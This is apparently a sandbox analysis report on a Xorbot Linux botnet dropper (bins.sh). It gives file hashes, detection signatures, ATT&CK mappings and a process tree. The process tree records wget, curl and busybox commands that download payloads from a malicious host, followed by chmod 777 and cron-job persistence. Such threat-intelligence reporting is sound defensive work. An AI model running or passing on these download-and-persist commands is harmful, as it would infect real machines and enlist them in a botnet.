xorbot | 199cd72604764bd453856e029830cce18d0f746a1caae617cbafebda9d785617

Analysis

max time kernel
149s
max time network
145s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 07:22

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General

Target

bins.sh
Size

10KB
MD5

4cfb0882602e49bb3bb56c54e08029a6
SHA1

d60467677204a5e3045c01dca1ff688264ab69b9
SHA256

199cd72604764bd453856e029830cce18d0f746a1caae617cbafebda9d785617
SHA512

d9a9c852ca4823533dab2b557a096e4055d3665ce8f562b2d0612029ecba77d391811af06e53e55e4fb483589d1009ab948faf0590252578a3f9a143d5c14aef
SSDEEP

192:0BBSrBsKwWxWlWYW/W3WB9GurAMMsG253Xy5bz2R95PvExdDPvExdrV3X0bz2R9L:0BBSrBsKwWxWlWYW/W3WB6sG285bz2RF

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-6.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1524	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	1525	bins.sh

Renames itself 1 IoCs

pid	Process
1526	bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.bMbJP7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1486/cmdline	bins.sh
File opened for reading	/proc/15/cmdline	bins.sh
File opened for reading	/proc/79/cmdline	bins.sh
File opened for reading	/proc/493/cmdline	bins.sh
File opened for reading	/proc/960/cmdline	bins.sh
File opened for reading	/proc/1191/cmdline	bins.sh
File opened for reading	/proc/1192/cmdline	bins.sh
File opened for reading	/proc/1296/cmdline	bins.sh
File opened for reading	/proc/1501/cmdline	bins.sh
File opened for reading	/proc/9/cmdline	bins.sh
File opened for reading	/proc/11/cmdline	bins.sh
File opened for reading	/proc/21/cmdline	bins.sh
File opened for reading	/proc/484/cmdline	bins.sh
File opened for reading	/proc/1133/cmdline	bins.sh
File opened for reading	/proc/1150/cmdline	bins.sh
File opened for reading	/proc/1511/cmdline	bins.sh
File opened for reading	/proc/482/cmdline	bins.sh
File opened for reading	/proc/12/cmdline	bins.sh
File opened for reading	/proc/320/cmdline	bins.sh
File opened for reading	/proc/618/cmdline	bins.sh
File opened for reading	/proc/1155/cmdline	bins.sh
File opened for reading	/proc/1507/cmdline	bins.sh
File opened for reading	/proc/78/cmdline	bins.sh
File opened for reading	/proc/969/cmdline	bins.sh
File opened for reading	/proc/1532/cmdline	bins.sh
File opened for reading	/proc/1052/cmdline	bins.sh
File opened for reading	/proc/1102/cmdline	bins.sh
File opened for reading	/proc/1514/cmdline	bins.sh
File opened for reading	/proc/19/cmdline	bins.sh
File opened for reading	/proc/965/cmdline	bins.sh
File opened for reading	/proc/1157/cmdline	bins.sh
File opened for reading	/proc/1534/cmdline	bins.sh
File opened for reading	/proc/34/cmdline	bins.sh
File opened for reading	/proc/178/cmdline	bins.sh
File opened for reading	/proc/617/cmdline	bins.sh
File opened for reading	/proc/1125/cmdline	bins.sh
File opened for reading	/proc/1137/cmdline	bins.sh
File opened for reading	/proc/175/cmdline	bins.sh
File opened for reading	/proc/1512/cmdline	bins.sh
File opened for reading	/proc/1533/cmdline	bins.sh
File opened for reading	/proc/1536/cmdline	bins.sh
File opened for reading	/proc/729/cmdline	bins.sh
File opened for reading	/proc/1112/cmdline	bins.sh
File opened for reading	/proc/1146/cmdline	bins.sh
File opened for reading	/proc/1179/cmdline	bins.sh
File opened for reading	/proc/80/cmdline	bins.sh
File opened for reading	/proc/165/cmdline	bins.sh
File opened for reading	/proc/920/cmdline	bins.sh
File opened for reading	/proc/1173/cmdline	bins.sh
File opened for reading	/proc/1337/cmdline	bins.sh
File opened for reading	/proc/29/cmdline	bins.sh
File opened for reading	/proc/455/cmdline	bins.sh
File opened for reading	/proc/1196/cmdline	bins.sh
File opened for reading	/proc/6/cmdline	bins.sh
File opened for reading	/proc/710/cmdline	bins.sh
File opened for reading	/proc/16/cmdline	bins.sh
File opened for reading	/proc/83/cmdline	bins.sh
File opened for reading	/proc/161/cmdline	bins.sh
File opened for reading	/proc/1159/cmdline	bins.sh
File opened for reading	/proc/84/cmdline	bins.sh
File opened for reading	/proc/159/cmdline	bins.sh
File opened for reading	/proc/171/cmdline	bins.sh
File opened for reading	/proc/1065/cmdline	bins.sh
File opened for reading	/proc/1189/cmdline	bins.sh

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1535	wget
1536	curl
1516	wget
1521	curl
1523	busybox

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	wget
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	curl
File opened for modification	/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb	busybox
File opened for modification	/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1514
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1528
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1530
- /bin/rm
  rm rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1535
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL
  2⤵
  - System Network Configuration Discovery
  PID:1536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/bgbICM0olYJrc6cfTBs9VEebhDkgyLB4ZL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/rn0P4OAAcwzfKie3L2IEODh4f4NeUGcUwb

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.bMbJP7

Filesize
210B

MD5
3164279083a015aeeb2270d0a839e810

SHA1
bb5274f698f8f27790c40907aa2ebd95e2e97f32

SHA256
4b306d0f72f2e908ef34b24e2b26f796c045e87c53766e8c49f0b706b67e67f0

SHA512
a80d64f1311067260d91f50c47437efe3caa54a1a40095fac7bf9b1aa9b50a48d924684e26258dfd53a47263d2701209f695bafcb44a344aaa08fc8231cdfcf6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads